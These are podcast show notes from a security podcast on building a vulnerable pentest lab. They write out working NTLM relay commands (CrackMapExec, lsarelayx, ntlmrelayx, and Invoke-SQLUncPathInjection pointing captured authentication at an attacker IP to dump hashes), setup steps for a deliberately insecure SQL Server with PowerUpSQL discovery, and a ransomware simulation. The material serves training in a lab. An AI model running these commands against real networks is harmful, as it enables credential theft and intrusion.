7MS #570: How to Build a Vulnerable Pentest Lab - Part 4
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! In today's episode we staged an NTLM relay attack using a vulnerable SQL server. First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled: cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt Then we setup lsarelayx in one window: lsarelayx --host=localhost And in a second window we ran ntlmrelayx.py: python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM Finally, in a third window we triggered authentication from the vulnerable SQL server: Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS Boom! Watch the local usernames and hashes fall out of the victim system. We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this: victim1 victim2 victim3 Then we tweaked the ntlmrelayx command slightly: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt Interestingly(?) only victim2 was attacked. Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server. TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

7MS #569: Interview with Jim Simpson of Blumira
Today we're excited to share a featured interview with our new friend Jim Simpson, CEO of Blumira. Jim was in security before it was hip/cool/lucrative, working with a number of startups as well as some big names like Duo. Blumira and 7 Minute Security have a shared love for helping SMBs be more secure, so it was great to chat with Jim about the IT/security challenges faced by SMBs, and what we can do make security more simple and accessible for them.

7MS #567: How to Build an Intentionally Vulnerable SQL Server
Hey friends, today we're talking about building an intentionally vulnerable SQL server, and here are the key URLs/commands talked about in the episode: Download SQL Server here Install SQL via config .ini file Or, install SQL via pure command line Deploy SQL with a service account while also starting TCP/IP and named pipes automagically: setup.exe /Q /IACCEPTSQLSERVERLICENSETERMS /ACTION="install" /FEATURES=SQL /INSTANCENAME=MSSQLSERVER /TCPENABLED=1 /NPENABLED=1 /SQLSVCACCOUNT="YOURDOMAIN\YOUR-SERVICE-ACCOUNT" /SQLSVCPASSWORD="YOUR PASSWORD" /SQLSYSADMINACCOUNTS="YOURDOMAIN\administrator" "YOURDOMAIN\domain users" Run PowerUpSQL to find vulnerable SQL servers: $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"} Audit the discovered SQL servers: Get-SQLInstanceDomain -verbose | invoke-sqlaudit -verbose Fire off stored procedures to catch hashes!

7MS #565: How to Simulate Ransomware with a Monkey
Hey friends, today we talk through how to simulate ransomware (in a test environment!) using Infection Monkey. It's a cool way to show your team and execs just how quick and deadly an infection can be to your business. You can feed the monkey a list of usernames and passwords/hashes to use for lateral movement, test network segmentation, set a UNC path of files to actually encrypt (careful - run in a test lab - NOT in prod!) and more!
